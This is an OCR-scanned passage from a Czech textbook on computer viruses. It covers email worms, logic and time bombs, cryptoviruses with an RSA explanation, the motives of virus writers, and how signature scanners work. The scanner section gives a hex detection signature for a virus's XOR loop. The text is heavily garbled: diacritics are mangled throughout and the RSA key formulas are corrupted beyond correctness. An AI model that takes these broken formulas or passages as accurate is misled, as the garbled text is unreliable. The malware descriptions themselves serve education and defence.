ce Cerva dnedni doby zni: Cerv je program, ktery se §ifi prostfednictvim e-mailové zpravy, ke
které je pfipojen ve formé souboru. V zasadé totéz co plati pro makroviry, koneckonct vise ci-
tovana Melissa je nejenom makrovirem Wordu 97, ale i pravé e-mailem rozesilajicim se ¢ervem.
Castou podobou &ervil jsou skripty. Moznosti jsou rozmanité, je ziejmé, e vie se mezi sebou
proling, souborovy skriptovaci ¢erv vypoustéjici multipartitni polymorfni 32bitovy virus infikuji-
ci soubory *.EXE a *.HLP neni viibec Zadnou nerealnou fikci. Nalézt citlivé déleni pocitacovich
virtl a hrozeb neni viibec snadné. Cerv dnesni doby se od svého predchidce lii jednou zasad-
ni véci. Zatimco Morristv Cerv byl vypustén a mnozil se sdm, dnesni Cervi potiebuji k aktiva-
ci lidskou spolupraci — spusténi inkriminovaného souboru. Tvurci Cervil sazi na lidskou zvéda-
vost (nebo spide hloupost?) a pocitatovou omezenost. Spust mé, to té urité bude zajimat,
jen pro tebe, divérné sdéleni — to jsou nejcastéjsi subjekty e-mailovych dopisti, ktergmi se Cer-
vi §iff. PocitaCova osvéta stale pokulhava a tak uzivatel, nezfidka dokonce pocitaéové vysoce
fundovany, bez nejmensi obavy takto lakavy soubor okamzité spusti.

O tom, Ze opatrnosti neni nikdy nazbyt svéd¢i nebezpeény trik Sititell erva, kdy kriticky sou-
bor ma dvé piipony. Napt. ¢erv Dilbert je rozesilan v souboru dilbertdance.jpg.exe. V nékte-
rgch postovnich programech nemusi byt druhéa p¥ipona vibec zobrazena nebo se prozaicky ne-
musi vejit na obrazovku, éimz padem uzivatel miize lehce spustit na prvni pohled neskodny jpg
obrazek a nestésti je hotové. V piipadé Dilberta je to vypusténi péti (!) vird do systému (Win-
dows viry SK, CIH, APC, Bolzano a skriptovaci VBS FreeLink).

vrve

e Cerv nezavisly na postovnim klientu
Cerv wyuziva ptimo protokol SMTP, coz mu zajistuje replikaéni jistotu na kazdém systému
umoznujicim zasilani e-mailovich zprav (napf. ¢erv Haiku). Vyckavaci ¢erv Happy99 pro
zménu modifikuje WSOCK32.DLL tak, aby pfi volani sluzeb Connect a Send aktivoval kod
Cerva, ktery pfipoji své télo k odesilanému e-mailu.

e Cerv zavisly na postovnim klientu
Nejrozsifengjsi jsou Cervi svazani s klientem Microsoft Outlook (Melissa, ILoveYou apod.).
Nema-li ¢erv k dispozici ,svijj* postovni klient, nemuize provést svoiji replikaci. Pro uZivatele
Outlook Expressu je dobrou zpravou, Ze Cervi Melissa, ILoveYou a jim podobni s timto Kkli-
entem nefunguji (napadeny pocita vsak pochopitelné infikovat mohou).

Veétsina Eervl si svoji pfisti aktivaci zajistuje pomoci modifikace registrit Windows nebo mo-
difikaci souborat WIN.INI ptip. SYSTEM.INI.

Asi nejznaméjsim Cervem je zminovany skript ILoveYou pouZivajici VBS. Pfilohou e-mailu je
soubor LOVE-LETTER-FOR-YOU.TXT.VBS. Diivodem masového rozsifeni je zjevné skuted-
nost, Ze soubor nemé pfiponu EXE. Pro svoji ¢innost vyZzaduje podporu Windows Scripting
Host, ktera neni pod Windows 95 a NT 4 implicitné nainstalovana. Pro své $ifeni pouZiva ne-
jen e-mail na viechny adresy v adresafi Outlooku, ale i chatovaci kanal programu mIRC, po-
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moci kterého rozesila infikovanou stranku HTM. Nepfiijemna je destruktivni ¢innost, kdy éerv
prepisuje svym télem nalezené skripty a obrazky, hudebni soubory *. MP3 a *.MP2 pak znevi-
ditelfiuje nastavenim atributu na hidden. Z Internetu se z jisté webové stranky snazi stdhnout
program WIN-BUGSFIX.EXE, kter§ mimo jiné sbira hesla pouzitd na daném pocitaci a snazi se
je poslat na Filipiny.

Dal$im zajimaviym Cervem je skript Stages rovnéz pouZivajici VBS. Kriticky soubor nese néa-
zev LIFE_STAGES.TXT.SHS, je typu SHS (Shell Scrap Object) a rovnéz vyzaduje podporu
Windows Scripting Host. Soubory SHS jsou specialnimi systémovymi ,kontejnery, které mo-
hou obsahovat prakticky cokoliv. Kromé jiz znamych cest pro Sifeni (Outlook, mIRC) pouziva
program Pirch, popularni ICQ a kopirovani na viechny nasdilené disky. Samotna pfipona SHS
je problematicka, v nékterych konfiguracich operaéniho systému muiize byt tato ptipona skryta
i pfi zapnutém zobrazovani ptipon soubort. UZivatel tedy miZe naprosto opravnéné nabyt myl-
ng dojem, Ze spousti neskodny text. Cerv p¥i svém spusténi, tak jak jiz jeho nazev napovida,
vypisuje humorné Zivotni etapy v Zivoté muZe a Zeny. Velikost Cerva je relativné velka, v plné
podobé cca 60 kB.

Babylonia pfedstavuje spojeni Cerva s virem vyuzivajicim volani Windows 95/98, coz jej ¢ini
nefunkéni na platformach Windows NT a 2000. Napada soubory *.EXE a *.HLP, pro replika-
ci vyuziva modifikaci WSOCK32.DLL. Vypousti program BABYLONIA.EXE, kter¢ po spusténi
disponuje zajimavym upgradovacim mechanismem, kdy z Japonska stahuje soubor VIRUS. TXT
obsahujici své pfidavné komponenty nebo plug-iny. To dava viru 3anci zménit funkcionalitu
s moznosti ziskat nap¥. vstup do systému zadnimi vratky ¢&i pfistup k dokumentiim apod.

Javascriptovy ¢erv KaK vyuziva znamé bezpeénostni diry Outlook Expressu, umoziujici ak-
tivaci Cerva jiz ve chvili, kdy je e-mail prohlizen. Obranou proti témto virim je vypnuti aktivni-
ho skriptovani v nastaveni Outlook Expressu.

Skriptovaci Cervi disponuji zajimavou vlastnosti. Vyskytuje-li se v adresafi Outlooku faxova
adresa, dojde k odfaxovani Eerva a v ptipadé souborti VBS, jelikoz se jedna o textovy soubor,
k wytidténi zdrojového tvaru na strané adresata.

4.4. Bomby

Bomby jsou programy, které aktivuji svoji nedokumentovanou &innost (opét prevazné destruk-
tivniho charakteru) v zavislosti na druhu spoustéci rozbusky:

e Logické bomby
Aktivaénim symptomem miiZze byt napf. zména obsahu uréitého souboru (napf. odstranéni
copyrightu z hlavicky programu) ¢&i definovana vstupni datova sekvence programu (kli¢ zada-
ny z klavesnice) apod. Logické bomby se mohou vyskytnout i v pfimém pouziti pocitatovy-
mi viry. Virus Dark Avenger 2000, jakmile zjisti ve spousténém programu vyskyt jména au-
torova ,oblibence® V. Bontcheva, zptisobi zamrznuti operaéniho systému.
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¢ Casované bomby
Logické bomby, jejichZ rozbuska je nastavena na datum pfip. ¢as. Jsou znamy p¥ipady z po-
Citacove Kkriminality, kdy programatofi opoustégjici firmu timto zplisobem nacasovali zniceni
firemnich databazi.

¢ ANSI-bomby
Specificky druh programovich bomb, kter§ s vyuZitim ovladace ANSI-grafiky (ANSIL.SYS)
preprogramovava klavesnicové sekvence. Ve vétsiné ptipadu jsou sekvence pfeprogramova-
ny na vymaz souborl aktualniho adreséate.

¢ Primocaré bomby
Smyslem téchto programtl je zahlceni systému neustéle se opakujicim generovanim téhoz
obsahu nebo obsahu neimérné velkého. BéZzné zndmymi jsou utoky proti e-mailovim
systémum. Posledni ,médou” jsou tzv. SMS bombery zavalujici vybranou obéf neustéale se
opakujici SMS zpréavou.

E!ﬂ!ﬁﬁms Bomber v.G66

FROM: |2

Obrézek 11: SMS-Bomber

4.5. Virové hrozby a WAP

Do jisté miry prilomovym C&ervem je skript Timofonica, Sifici se souborem TIMOFO-
NICA.TXT.VBS rozesilaného prostrednictvim Outlooku. Jde o prvni virovou zéleZitost, dotjka-
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jici se mobilnich telefonu; ¢erv totiz prosttednictvim e-mailové brany rozesila kratké SMS-zpréa-
vy, protestujici proti zneuZivani visadniho postaveni jistého $panélského operéatora. V zadném
pfipadé se nejedna o wapovaci virus, souCasna verze protokolu WAP nedava moznost existence
virovgch mechanism@. Nadchazejici WAP 1.2 v8ak s sebou pfinasi moznost nataZeni kédu
WMLScript a to je jisté vizvou pro tviirce Cervil, takZe neni prekvapuiici, Ze antivirové firmy jiz ted’
zaCinaji vyvijet antivirovou ochranu WAPu (nap¥. F-Secure Anti-Virus for WAP Gateways).

4.6. Kryptoviry jako budouci smér vyvoje?

Kam se bude ubirat dalsi smér vivoje pocitacovich viri neni pfili§ obtizné predpovédét. Zcela
zfejmé dojde ke zdokonalovani viri pod operaénimi systémy Windows, véetné jejich makrovi-
rovych p¥ibuznych, pravdépodobné v kombinaci se skripty a ¢ervy. Operacni systém MS-DOS
definitivné umira, jednim z poslednich zajimavgych dosovych mechanismu je infikace komprimo-
vanych archivii. Komplikovang rusky virus Zhengxi je schopen zavirovat spustitelné programy
v archivech typu ZIP, ARJ a RAR. Tunelujici, polymorfni a stealth techniky jsou maximem to-
ho, co mutize resp. mohl MS-DOS nabidnout. Nahradit vsak MS-DOS systémem Windows 95
bylo z antivirového hlediska jako pfejit z desté pod okap (zamér nebo neschopnost?). Ani mo-
mentalné nejaktualngjsi Windows 2000 zadné svétlé zitiky bez pfitomnosti vira neslibuji; moz-
na, Ze i tato kniha se doc¢ka tretiho, opét rozsiteného vydani.

Z pohledu virovgch technik, nezavisljch na platformé hostitelského operaniho systému, se
zdaji bt na spadnuti kryptografické viry, vyuzivajici mnohem komplexnéji sifrovaci mechanis-
my nezZ stavajici viry polymorfni. Hojné rozsifené kdédovani s vefejnym koédovacim klicem je pro
virové vyuziti idealni.

Nejznamejsi konstrukei vetrejného kddovaciho klice n je prosty soucin dvou prvocisel p a g:

n==pop-.4¢q

Dekédovaci kli¢ d se vypoéte ze vztahu:

d=( . (p-1).(-1)+1)/3

Cislo n je vefejné zname, prvodisla p a q ziistavaji tajemstvim. Zranitelnost metody zavisi na
velikosti &isla n. Cim vice &slic obsahuje KIig, tim je bezpecnsjsi. Nasledujici tabulka uvadi po-
trebny Cas pocitace, pracujiciho rychlosti jeden milién operaci za sekundu, pro zjisténi hodnot
prvodisel p a g:

Pocet dislic kli¢e n Doba pottebna k nalezeni prvodisel p a g
50 3,9 hodiny

100 74 let

150 1 milién let

200 3,8 miliard let

250 5,9 bilionl let
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Pro spravnou funkci metody a maximalni ztizeni mozného dekodovani plati dopliujici pod-
minky:
1. Cisla p-1 a g-1 nesméiji byt délitelna tfemi.
2. Cisla p-1 i g-1 by méla, ve svem rozkladu na prvoéinitele, obsahovat alesponi jedno velke
prvodislo.
3. Podil p/q by nemél byt blizky Zadnému jednoduchému zlomku (2/3, 3/4...).

Vlastni kédovaci proces spociva v prevodu kédované informace do bloku &islic. Kazdg blok
M je zakédovan do Eisla C vztahem:

C = (M) mod n
Dekédovani je fizeno vzorcem:
M = (CY) mod n

Vysledkem operace mod je celociselny zbytek po déleni.

Uvedena konstrukce vefejného kédovaciho klice neni zcela bezpednéa a je pouze specialnim
pfipadem obecného Sifrovactho mechanismu RSA. RSA spoleéné s rychlejsim algoritmem DES
patfi k nejrozsifenéj§im koédovacim zplisobiim, realizovanym i na Grovni hardwaru.

Princip algoritmu RSA spociva opét na prostém soucinu dvou prvocisel nékolik set biti
dlouhgch:

n=p.q
Dale jsou vybrana takova dvé prvodisla e a d, jejichz soucin déleny nékterym z nasobku
(p-1) (g-1) je roven 1. Neboli:
e . d=1mod (p-1) (g-1)
Par (e,n) tvori vefejny kli¢ a par (d,n) privatni kli¢. Koédovani probihd podle obecnéjsiho vztahu:
C = (M®) mod n
A dekddovani je opét fizeno vzorcem:
M = (C9) mod n

Kryptovirus je pocitatovy virus vyuzivajici verejny kddovaci Kli€ autora viru pro zakédovani
dat hostitelského operaéniho systému tak, Ze zakédovana data mohou byt obnovena pouze au-
torem viru, kterg tento kddovaci Kli¢ zna.

Vetejny kédovaci Kli¢ je zpusobem, kdy virus nebo trojskg kiin maze zvitézit nad uzivatelem,
nebof bez zaloznich kopii ¢&i znalosti klice jsou uZivatelova data nepfistupna.

O tom, Ze tato hrozba neni pouze teoreticka, svédéi vizkumna préace ,,Cryptovirology: Extor-
tion-Based Security Threats and Countermeasures“ autort Adama Younga a Moti Yunga, kte-
fi v laboratornich podminkéach tento druh viru vytvorili. Ve svgch experimentech dosli dokonce
az k momentu virového generovani verejného kédovaciho kliée a jeho sdileni nékolika virovg-
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mi procesy na vice nez dvou poéitatovych uzlech. Tim vyloudili moZznost odchyceni viru jesté
pred okamZikem aktivace a jeho pfipadné anal{zy pro zjisténi hodnoty kbdovaciho klice.

Pro nazornost — kryptovirus byl vytvofen pro pocitace fady Macintosh s ROM verzi 120
a jeho délka byla neceljch 7 kB. Podstatnou ¢ast kodu viru tvofila knihovna pro plng kédova-
ci mechanismus RSA. Programovacim jazykem experimentélniho kryptoviru byla kombinace
Assembleru a ANSI C.

Citovany kryptovirus zejména upozornil na paradoxni skutecnost, Ze vestavéna kryptografic-
kéa podpora na trovni operaéniho systému nejen ptestava zvySovat bezpe€nost systému, ale na-
opak ji za¢ina snizovat v okamziku, kdy systém neni dostatené odolng viidi virovym infiltracim.
Obsahuje-li totiz hostitelsky systém takovou podporu, pak tvirce viru nemusi viibec nic védét
o kryptografii, ale staéi mu pouze dané funkce volat podobné jako je tomu v pfipadé poly-
morfnich generatort dosovich virti. Nastésti i pfes Ctyfi roky, které od téchto vyzkum( ubéhly,
neni znamy zadny takto zrealizovany virus.

5. Virova etika a pohnutky tvirco vird

Pro¢ lidé pisi viry? Jaka je jejich moralka? Je pokfivena nebo si tito lidé ani své konani neuve-
domuiji? Odpovédét na viechny tyto otazky zdaleka neni tak trivialni, jak by se mohlo na prvni
pohled zdat. V3e zavisi na konkreétnich aspektech. Af uz sociélnich, ekonomickych ¢&i jingch.

Casto dochézi k mylnému nazoru, Ze tviirci virti jsou predevsim hacketi. Hacker ale patii na
stejnou hierarchickou Giroven jako tvtirce virtl. Neni samoziejmé vylouc¢ena moznost hackera ja-
ko tvlirce viri, nebgva to viak pravidlem.

Hacker je pfedevsim ¢&lovek, kterg se snazi do detaill poznat chod daného systému. S tim
(izce souvisi nutnost prorazit pfislusné ochranné bariéry zkoumaného subjektu. Verejnost zna
slovo hacker vjhradné v souvislosti s poéitadi, resp. pocitaovymi sitémi. Zajmy hackert jsou
v3ak mnohem obecnéjsi. Telefonni sité a kreditni karty patfi k tém dal$im nejvyznamnéjsim.
S problematikou nekoneénych telefonnich karet ¢i cerngch mobilnich telefonu se jiz setkala i na-
e republika.

Slovo hacker ma, zejména diky sdélovacim prostiedkiim, odsouzenihodng nadech. Umyslem
hackerli nebgva nicit ¢ zneuzit informace ziskané nelegalnim zptisobem. AZ chorobna touha
po poznani &i vizva ,tam se pfece dostanu® Zene hackery vpted ve snaze zajistit si ptistup
k nejutajovanéjsim informacim. Podobné jako lidé zavisli na hernich automatech (gamblefi), tak
i hackefi propadaji svému nutkani, které, neni-li vyvazeno jinou Cinnosti, se stava posedlosti.
Posedlosti, pfi niz ztraceji pojem o Ease a nebezpein balancuji na hrané zakona. Cim vice na-
bourdvanyg systém odolava, tim vice hackery ptitahuje.

Od pocitatového voyerismu je vsak jiz jen kracek k opravdovému pocitatovému piratstvi.
Nejeden hacker s prvotnim ptfesvédéenim ,jenom se tam podivam“ miiZze podlehnout touze vy-
uzit situace a obohatit se. Zde nastava okamzik, kdy nastupuje poéitaova kriminalita a nékoli-
kaleté p¥ipadné odpirani pocitaéového terminélu, je-li hacker-pirat odhalen.



Moderni pocitacové viry Podstata, prevence, ochrana

Terem pocitacovych hackert se stavaji prevazné uzivatelské ucty, hlavné diky nedostatecné
ochrané v podobé snadno odhalitelného hesla. Jméno Gctu pozpétku, sloZenina tvodnich pis-
men jména a pfijmeni, datum narozeni, jméno manzelky, jméno syna ¢i dcery, hesla z oblasti
uzivatelova zaméfeni — to vie jsou nespravné koncipovana hesla, ktera se stavaji lehkou kofis-
ti hackera. Je zajimavé, ze mluvi-li se o hackerech, automaticky se predpoklada muzska cast
populace.

Ne vzdy bgva hacker pouze opovrzenihodnym élenem pocitatového podsvéti. Je znam do-
konce hacker - nositel Nobelovy ceny. Znamy fyzik Richard P. Feynman, kter( ziskal v roce
1965 Nobelovu cenu za fyziku, popisuje ve své skvélé, humorné ladéné, autobiografické knize
,To snad nemuyslite vazné!“ typicky hackersky postup otevieni sefjii. Pochopitelng, Ze v jeho
prfipadé se jednalo o epizodu ze Zivota a ne o Zivotni styl.

Pisatelé vird maji s pocitatovymi hackery mnoho spole¢ného. Nekonvenéni bohémsky zpu-
sob Zivota s Zivotnim pohledem jednostranné zaméfenym na monitor a klavesnici. Struéné fe-
Ceno - lidé s nadprimérnou inteligenci, jejichZz produktivni potenciél je vyuZit nespravnym smé-
rem. Spoleénym znakem obou skupin je snaha o zdolani opera¢niho systému. Zakladni
odlisnost je ve funkénd filozofii. Zatimco hacker nema v imyslu skodit, u tviircl virtl je tomu ve
vét§ingé piipadl pfesné naopak. Pocitacové viry se snazi prelstit jadro operacnich systému
i s pfipadnymi nastraZenymi pastmi v podobé antivirovych programt, se snahou ovladat jeho
stéZejni funkce. Zatimco po &innosti hackera nezistava zadna stopa, po Cinnosti viru zistavaji
znienéa data na disku.

Podobné jako hackefi, tak i pisatelé virti se sdruzuji do undergroundovgch organizaci. Nej-
znadméjsi je americka skupina virovgch autortt SKISM, publikujici virovy magazin ,,40Hex Virus
Magazine“. Naplni magazinu je virova problematika se zaméfenim na komentované zdrojové
tvary virt. Vyskytuiji se i rozhovory s virovymi autory, ¢asto prekypujici vulgarismy, pro zajem-
ce je k dispozici vstupni ¢lensky formuléf. V roce 1992 vydala tato skupina ustavujici konstituc-
ni prohlaseni pisateltl virli celého svéta, ve kterém specifikuje formalni poZadavky na virovg kéd,
zachovani originality jednotlivich viri a dokonce uvadi, z koho si mohou pisatelé virt tropit po-
smésky a koho by méli vynechat.

Mezi hlavni motivaéni impulsy tviirc viral patfi:

e Touha po slavé
Snad téméF kazdy programator podvédomé sni o tom, Ze pravé jeho program bude masové
pouzivan. Realizace tohoto snu v3ak pochopitelné neni snadné, ne kazdy program najde své
iroké uplatnéni, dokonce i kdyz se jedna o volné §ifitelng freeware. Virus je jednou z moz-
nosti, kdy je mozné tento sen realizovat, dokonce bez souhlasu samotného uzivatele. Né-
ktergm pisateliim virti poskytuje pocit zadostiu¢inéni i moznost &ist ¢&i slySet ve sdélovacich
prosttedcich, Ze pravé virus s jeho virovou prezdivkou fadi ve svété. Bezpochyby na této sku-
teCnosti ma i podil virova terminologie. Pokud by se viry oznacovaly alfanumerickym kdédem
typu BS1569 (bootovaci stealth virus ¢.1569) misto bézné pouzivangch jmen virli jako napft.
Dark Avenger, pak je zfejmé, Ze tato skupina pisatellt vira by se zna¢né zredukovala. TéZko
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se v3ak nékdy, z diivodu znaéné neptehlednosti pro bézné uzivatele, podafi tento systém rod-
nych Eisel virt zavést.

Prostredek seberealizace
Pro programéatora, kter§ je pocitatovim nad3encem sedicim od rana do vecera u svého podi-
taCe, miZe byt tvorba virt stejnym seberealizac¢nim prostfedkem jako je pro nékoho jiného na-
pf. sport. Operacni systém a antivirové prosttedky bere jako vjzvu pro dalsi vylepseni svjch
virovgch mechanismt. Pro nékteré programatory se stava virus testem jejich schopnosti.
Znatény vliv zde ma i demografické rozloZeni. Je naprosto evidentni, Ze nejvice virti vzni-
kalo v byvalém socialistickém bloku V¢chodni Evropy. Na &elnich mistech jsou Bulharsko
a bgvaly Sovétsky svaz. Dlivody jsou prozaické. Tyto zemé vzdy disponovaly znaéngm mnoz-
stvim kvalitnich programator(, ktefi véak Zadngm zplisobem nebyli zapojeni do ekonomickeé-
ho déni zemé. Ve svém zaméstnani se nudili a problematika virt se stala velice lakavou a za-
jimavou oblasti jejich z4jm(. Jednim ze spole¢nych znakii hackert a pisatelii virt je pohrdani
klasickym programovéanim ,,okennich user friendly“ rozhrani, bézngmi databazovymi aplika-
cemi apod., které jsou pod jejich dustojnost. Hlavnimi virovgmi ,velmocemi“ jsou dale Ka-
nada, Némecko, Polsko a Izrael.

Prosta lidska zvédavost

Jiz vzpominané Casté zvelicovani virt sdélovacimi prostfedky Zene lidi, vétSinou mladé, k touze
poznat ,jak to ty viry délaji?”. Existuje idea uéit studenty virovou problematiku do hloubky i s po-
pisem jednotlivich virovjch mechanismii. Na zaptisahlé tviirce virti to pochopitelné nemtize mit
vliv, av8ak touha zvédavcli po poznani bude naplnéna a tito lidé se pak v klidu mohou vénovat
prospésnéjsim programatorskym odvétvim. Citovana idea se stala i jednim z cilt této knihy. Béz-
na geneze této skupiny lidi je jejich postupny odklon k programovéani antivirovému.

Snaha skodit, nicit, ublizit

Pokud v§se uvedené pohnutky byly vice ¢ méneé s jistou davkou shovivavosti ospraveditelné,
pak motiv skodit je velice nizky, zasluhujici odsouzeni. Lidé s nizkgmi moralnimi hodnotami
a se svéraznym vykladem pojmu ,Zert* jsou nejvétsim nebezpefim pro uzivatele. Jednou
z nejplodngjich osob destruktivnich virti je Dark Avenger, bulharsky heavy metalovy fanatik.
Zname jsou jeho souboje na dalku s antivirovgm expertem Vesselinem Bontchevem. Virus
Dark Avenger 2000 obsahuje copyright opatfeny timto jménem, navic nalezne-li virus na po-
Citaéi program, obsahujici tento copyright, dojde k zamrznuti systému. Neni potfeba doda-
vat, Ze V. Bontchev musel néjakou dobu slozité vysvétlovat, Ze se nejedna o jeho virus, ale
o pouhé zneuziti jména. I to je jedna z moznosti jak lze 8kodit tfetim osobam. Casté jsou
i okam?Zité emotivni projevy, napt. tuzemsky virus Milena obsahuje vyznani lasky (opétované
¢ neopétované?) v podobé véty ,I Love Milena“.

Ekonomicky zisk

Obcas se vyskytne nazor, Ze z existence virli nejvice profituji antivirové firmy a je tedy logic-
ke, ze &im vice bude virt, tim vatsi budou jejich zisky. Umysl osoéit antivirové firmy z tvorby
virll je vdak velice mélo pravdépodobny. Antivirova firma, ktera by se sniZila k této podlosti,
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by v ptipadé odhaleni byla na trhu naprosto znemoznéna a dospéla by k zakonitému krachu
a zéniku. Dost dobfe neni moZné stat najednou na obou stranach barikédy — tvofit dokona-
lejsi viry a vzapéti tvofit jesté dokonalejsi antiviry. Neopomenutelnou moznosti je viak vro-
ba virli na zakazku, kdy motiv pomsty muiize vést az k tomuto nezvyklému obchodu.

Typické je posuzovani americkych tvirct virt. Ti povaZuji programovani za otazku svobo-
dy projevu a pro nékteré z nich se stava tvorba vird dokonce jistym druhem uméni. V po-
sledni dobé je pravé patrna stagnace novych virtl z posttotalitnich zemi a jistg nartst vira
americkych ¢i australskgch.

[ pfes vSechny negativni stranky pocitatovich virt je jejich studium velice prospésné. Vy-
tvofit virovy program neni véc Uplné trivialni, pisatelé musi disponovat nemalym programa-
torskym nadanim a schopnostmi. Z tohoto divodu se pfi studiu vira da objevit spousta zaji-
mavych programétorskgch obrati a trikd, které najdou Casté uplatnéni i v programovéni
nevirovém.

Stanovit profil typického pisatele virl neni mozné. Vesselin Bontchev ve své stati , The
Bulgarian and Soviet Virus Factories”, volné dostupné na Internetu, uvadi nékolik konkrét-
nich bulharskgch osob, prezentovanych inicialami:

e V.B.
Jeden z bulharskgch virovych prakopnika. Tvirce viru Old Yankee, demonstrujici jako prv-
ni moZnost napadeni programt EXE. Po tomto viru ztratil V.B. dalsi zajem o tvorbu viru a za-
Cal pracovat v oblasti programovani real-time aplikaci.

e T.P.

Kdyz T.P. poprvé uslysel o moznosti samoreplikujicich se program, zacal se o tuto oblast
intenzivné zajimat. V{sledkem byl virus, proti némuZ nasledovalo vytvoreni piislusného anti-
viru. Nasledoval virus dokonalejsi atd.atd. To je i divod, pro¢ dnes existuje kolem padesati
razngch verzi jeho viru. Mezi nejrozsifengjsi patii vjchozi virus Vacsina a koncovy Yankee
Doodle. Viechny mutace jsou nedestruktivniho charakteru. Na otazku, proc¢ zacal tvofit viry,
T.P. odpovida, Ze tak ucinil proto, aby lépe poznal operacni systém a naudil se pfislusné pro-
gramatorske triky. V soucasnosti jeho dalsi zdjem o tvorbu virli rovnéZ ustal.

e Dark Avenger (Temny Mstitel)

Tvlrce mnoha vysoce destruktivnich virt. Virus se stejnojmennym nazvem pii kazdém Sest-
nactém spusténi zavirovaného programu prepisuje ndhodné vybrang sektor na disku télem
viru, obsahujicim mimo jiné fetézec ,Eddie lives...somewhere in time!“, oslavujici maskota he-
avy metalové skupiny Iron Maiden. Jak sam uvedl, ni¢it data je jeho potésenim a miluje nicit
préaci jingch lidi. Stavajici bulharské zdkony vsak neumoZiiovaly jeho trestni odpovédnost
a tak Dark Avenger celkem bez vétSich problému rozsitil své viry prostfednictvim mnoha své-
tovych stanic BBS.

e Lubo a lan
Dvojice programéatorti ze Sofie ptetvofila virus Dark Avengera na svij vlastni virus nazvany
Murphy. Virus byl vytvofen z divodu pomsty. Zaméstnavatel odmitl zaplatit jejich vykonanou
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praci a tak se povedena dvojice rozhodla pro svérazng druh pomsty. To vsak nevysvétluje,
pro¢ byly vytvofeny Ctyti varianty téhoZ viru a pro¢ pozdéji byl vytvoren virus novy — Senti-
nel, kterg je zaroven jednim z mala viri naprogramovanych v Turbo Pascalu.
e PD.

Tvofil viry ,,z Zertu” a pouze ,pro svoji potfebu®. Nanestésti, diky nehodé, doslo k tniku vi-
ri Anti-Pascal a Terror. P.D. velice litoval této nehody a dal k dispozici antivirovgm tviircim
veskeré své virové podklady. Jeho zajem o dalsi psani virl ustal, nebot tvorba virli je podle
jeho slov velice jednoduchéa a proto pro négj jiz nezajimava.

e V.P.aS.K.
Priikopnici adresafovych virti Dir a Dir II. Déle vytvoftili po péti variantach virdt MG a Shake.
Proc? Z Zertu a protoZe to je pro né velice zajimavé.

Tvarcm vird hodné napomaéha jejich sdruzovani a zejména virové zaméfené servery, pro-
stfednictvim nichZ dochéazi k viméné vzajemnych poznatkt a zdrojovgch tvart.

Pocitace nejsou chytré. Pocitace vykonavaji pouze ¢innost, jeZ jim byla naprogramovéana. Ja-
kym zplisobem hodnotit tvorbu vird, to je jiz v kompetenci pravni legislativy jednotlivich stétu.
Jedno je jisté, samotna tvorba virll nemutze byt trestnd, trestné postiZitelné je az vypusténi
viru do svéta. ZpUsob, jakym vést ptipadné dokazovaci fizeni, viak kaZdopadné bude velice
komplikovany.

6. Zakladni antivirové prostredky
a mechanismy

Antivirové prosttedky jsou klicovou zéleZitosti v boji s pocitatovymi viry. Zakladni informacni
prehled téch nejpouzivanéjsich je naplni této kapitoly. Diraz neni vak kladen na konkrétni po-
pis jednotlivgch antivirovich programq, jejichz stav se rychle méni a vyviji s kazdou verzi, ale na
problematiku obecnych metod. Antivirové prostfedky lze rozélenit do dvou zakladnich katego-
rii — programové a programové s technickou podporou.

6.1. Softwarové prostredky

Programové prostiedky jsou bezesporu zakladnimi, nejvice pouzivangmi antivirovgmi produkty.
V soucasné dobé je na domécim i zahraniénim trhu znaéné mnoZstvi antivirovych programu
a vyznat se v této informacni zméti neni viibec jednoduché. Kazdy produkt ma své klady i za-
pory a tak urleni, ktery je ten nej, je zalezZitosti ryze individualni a do jisté miry i subjektivni.
V kazdém pfipadé, difve nez se uzivatel rozhodne pro konkrétni produkt, je vzdy potfeba zva-
Zit, pro jaké ucely mé antivirovy produkt slouZit a co se od ngj ofekava. Rozhodné neni dobré
bez vlastniho otestovéani bezhlavé podlehnout reklamé. Tomu odpovida i trend distribuce anti-
virovgch programti, které jsou vétsinou typu shareware a umoZiuji zevrubné vyzkouset dang
produkt ptfed pfipadnou registraci programu. Registrace produktu ve vétsiné pfipadi umoznu-
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je specialni zakaznické sluzby jako je bezplatng upgrade po uritou dobu, moZnost pfistupu
k aktualnim virovgm identifika¢nim fetézclm &i jiné moznosti. To uZz zavisi na konkrétnich pod-
minkéach.
Podle metody zplisobu zjisténi pfitomnosti viru na pocitac¢i miizeme rozligit nasledujici zaklad-
ni druhy antivirovych programu a antivirovgch technik:
¢ Vyhledavac (skener)
Zakladni typ programu, kterg zjisfuje pfitomnost virti (v paméti i na disku) pomoci virovgch
identifikanich fetézct. Identifikacni Fetézec je jednoznaéné definovana posloupnost znaku
(bajttt) reprezentujici dany virus.

Priklad hexadecimalniho fetézce viru FICHV, ktery zachycuje variantu hojné rozsiteného
xorovaciho mechanismu: AC (lodsb) 32 07 (xor al,[bx]) AA (stosb) 43 (inc bx) 3B DA (cmp
bx,dx) 72 03 (jb $+3) BB (mov bx,...). Je zajimave, ze samotné viry pro zjisténi své piitom-
nosti v souboru upfednostfiuji porovnani instrukéné nevgznamného , podpisu” na pfesné de-
finovaném misté, ktery vdak miize byt snadno zménén a virus uveden v omyl (napf¥. virus Po-
jer testuje Sestiznakovy fetézec od 12.pozice pfed koncem souboru na hodnotu ,XmY?!&").

de-li nalezena danéa posloupnost znakli v souboru, je tento soubor prohlasen za zavirova-
ny. Uréit takovou posloupnost, ktera je Cisté virova a jejiz pravdépodobnost vyskytu v béz-
nych programech je minimalni, je velice obtizné. Spravné urceni identifikacniho fetézce je du-
lezité pro zamezeni falesngch poplacht, kdy nevhodné navrzené skenery mylné upozoruji
na pfitomnost viru na pocitaéi. Pro eliminaci tohoto problému pouZivaji inteligentni vyhledéa-
vaci programy kombinaci identifikaéniho fetézce spolu s pfesngm umisténim tohoto fetézce
v infikovaném souboru. Nékteré skenery pouzivaji pro dislednéjsi identifikaci vétsi pocet te-
tézcl. Je velice tézké sladit skener tak, aby spliioval zakladni pozadavky na velkou rychlost
a spolehlivost.

Neékteré viry zamérné stézuji ureni identifikacnich fetézct. Jedna z variant viru Gotcha ob-
sahuje nékolik vyhledavacich fetézcl jingch virti. Tim hrozi nebezpedi mylného uréeni viruy,
coz mlze mit katastrofalni nasledky pfi nepatficném odvirovani infikovaného souboru.

Novou generaci skenerti jsou vyhrazené servery, testujici pfichazejici resp. odchéazejici in-
ternetové pakety (zejména protokolit SMTP, FTP a HTTP). Kontrolovana je tedy pfedevsim
elektronicka posta, pfenasené soubory a weboveé stranky véetné javovich applett ¢ prvkia
ActiveX.

¢ Heuristicka metoda analyzy
Virové identifikalni fetézce selhavaji v ptipadech polymorfnich virti, kdy mé télo viru pfi kaz-
